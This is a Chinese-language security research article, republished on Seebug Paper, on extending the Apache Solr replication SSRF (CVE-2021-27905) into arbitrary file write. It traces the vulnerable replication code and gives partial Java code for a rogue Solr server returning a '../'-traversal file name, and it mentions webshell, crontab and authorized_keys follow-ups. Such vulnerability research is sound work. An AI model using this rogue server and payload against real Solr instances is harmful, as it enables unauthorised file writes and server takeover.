作者:Ricter Z
原文链接:http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/
0x01. TL; DR
事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。
说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。
对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。
0x02. CVE-2021-27905
Solr 的 ReplicationHandler 在传入 command 为 fetchindex
时,会请求传入的 masterUrl
,漏洞点如下:
SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?
0x03. Replication 代码分析
我们继续跟进 doFetch
方法,发现会调用到 fetchLatestIndex
方法:
在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversion
和 generation
进行判断:
如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:
文件列表包含filelist
、confFiles
和 tlogFiles
三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload
中。这里 Solr 是调用的 command 是 filelist
。
获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownload
、 tlogFilesToDownload
、confFilesToDownload
的顺序进行下载。
我们随意跟进某个下载方法,比如 downloadConfFiles
:
可以发现,saveAs
变量是取于 files 的某个属性,而最终会直接创建一个 File
对象:
也就是说,如果 file 的 alias
或者 name
可控,则可以利用 ../
进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList
查看,可以发现,filesToDownload
是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。
0x04. Exploit 编写
类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversion
、filelist
以及 filecontent
。部分代码如下:
if (data.contains("command=indexversion")) {
response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
response = "Hello World".getBytes();
}
t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()123456789101112131415
返回恶意文件的代码如下:
public static ByteArrayOutputStream makeFileListResponse() throws IOException {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
JavaBinCodec codec = new JavaBinCodec(null);
NamedList<Object> values = new SimpleOrderedMap<>();
NamedList<Object> headers = new SimpleOrderedMap<>();
headers.add("status", 0);
headers.add("QTime", 1);
values.add("responseHeader", headers);
HashMap<String, Object> file = new HashMap<>();
file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file.put("lastmodified", new Long("123456"));
file.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
fileList.add(file);
HashMap<String, Object> file2 = new HashMap<>();
file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file2.put("lastmodified", new Long("123456"));
file2.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
fileList2.add(file2);
values.add("confFiles", fileList);
values.add("filelist", fileList2);
codec.marshal(values, outputStream);
return outputStream;1234567891011121314151617181920212223242526272829303132
其中 DIST_FILE
为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt
,而 FILE_NAME
是本地要写入的文件的路径。攻击效果如下:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1597/